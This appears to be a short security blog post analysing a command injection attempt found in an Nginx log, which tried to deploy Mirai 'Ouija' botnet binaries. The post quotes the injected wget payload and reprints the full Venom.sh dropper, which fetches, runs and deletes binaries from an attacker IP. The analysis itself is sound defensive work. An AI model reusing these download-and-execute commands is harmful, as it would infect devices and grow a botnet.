Venom.sh

Today I implemented a few techniques to detect common web-based attacks and came across the following Nginx access log entry. I immediately spotted the command injection attempt but didn’t pay any attention due to the 400 “Bad Request” HTTP response status code.

"156.219.23.105 - - [23/Dec/2019:13:34:08 +0100] 
  "GET /login.cgi?cli=aa aa';
     wget http://185.132.53.119/Venom.sh -O -> /tmp/kh;
     Venom.sh /tmp/kh'$ HTTP/1.1" 400 173 "-" "Hakai/2.0""

Somehow I was a little disappointed because the attack was easy to detect and even the user agent told me “hey! whatup?”. So I thought this could be fun to analyse.

First we need to understand what the command injection is doing. The query parameter “cli” seems to be a part of a direct script execution call. So let’s assume the back-end looks like this:

execute(' + $_GET["cli"] + ')

# Lets replace the placeholder with the real value...
execute('aa aa';wget http://185.132.53.119/Venom.sh -O -> /tmp/kh;Venom.sh /tmp/kh'')

# 1. wget http://185.132.53.119/Venom.sh -O -> /tmp/kh
# 2. Venom.sh /tmp/kh

What is Venom.sh?

After we downloaded the venom.sh file we check the content. A bash script.

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_M.ips; chmod +x Ouija_M.ips; ./Ouija_M.ips; rm -rf Ouija_M.ips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_M.psl; chmod +x Ouija_M.psl; ./Ouija_M.psl; rm -rf Ouija_M.psl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_S.h4; chmod +x Ouija_S.h4; ./Ouija_S.h4; rm -rf Ouija_S.h4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_x.86; chmod +x Ouija_x.86; ./Ouija_x.86; rm -rf Ouija_x.86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_A.rm6; chmod +x Ouija_A.rm6; ./Ouija_A.rm6; rm -rf Ouija_A.rm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_x.32; chmod +x Ouija_x.32; ./Ouija_x.32; rm -rf Ouija_x.32
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_P.pc; chmod +x Ouija_P.pc; ./Ouija_P.pc; rm -rf Ouija_P.pc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_I.586; chmod +x Ouija_I.586; ./Ouija_I.586; rm -rf Ouija_I.586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_M.68k; chmod +x Ouija_M.68k; ./Ouija_M.68k; rm -rf Ouija_M.68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_P.pc; chmod +x Ouija_P.pc; ./Ouija_P.pc; rm -rf Ouija_P.pc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_A.rm4; chmod +x Ouija_A.rm4; ./Ouija_A.rm4; rm -rf Ouija_A.rm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.132.53.119/Ouija_A.rm5; chmod +x Ouija_A.rm5; ./Ouija_A.rm5; rm -rf Ouija_A.rm5

What we see here are attempts to leave the current directory (I guess to prevent write restrictions within that folder) and try to execute a platform compatible version of the “Ouija” binary.

What is this binary doing?

One easy way to get to know what the binary actually does is to search for the SHA256 hash on the internet. A lot of machine learning malware detection platforms publish their analysis results with the corresponding SHA256 hash.

/tmp$ sha256sum Ouija_x.86 
9c2eef7eee6e0a046018173a6f00b5bb0f441b72eb6cfbfe77dc5ed194b214ac  Ouija_x.86

And voilà… lets take the first result of the search:

https://www.virustotal.com/gui/file/9c2eef7eee6e0a046018173a6f00b5bb0f441b72eb6cfbfe77dc5ed194b214ac/detection

AVG, F-Secure and McAfee categorize this file to be a part of the Mirai botnet.

What now?

The main reason why I wrote this blog article was actually my confusion about the practicability of this attack. Actually, you can’t execute a script if you loaded it via wget or curl. In order to do that you need to grant execution privileges before. We see that grant within the venom.sh (“chmod +x Ouija_A…”). But not in the original command injection request.

My guess is that the manufacturer of the actual addressee of the vulnerability call the “cli” parameter as a parameter of the bash command.

execute(bash + 'aa aa';wget http://185.132.53.119/Venom.sh -O -> /tmp/kh;Venom.sh /tmp/kh'')

In this case you don’t need the execution privileges.

I’m not sure what to say about this. If you do this because of ignorance it would be bad but not directly an instant disaster. To put the bash command in front of an unvalidated GET parameter is negligent assault.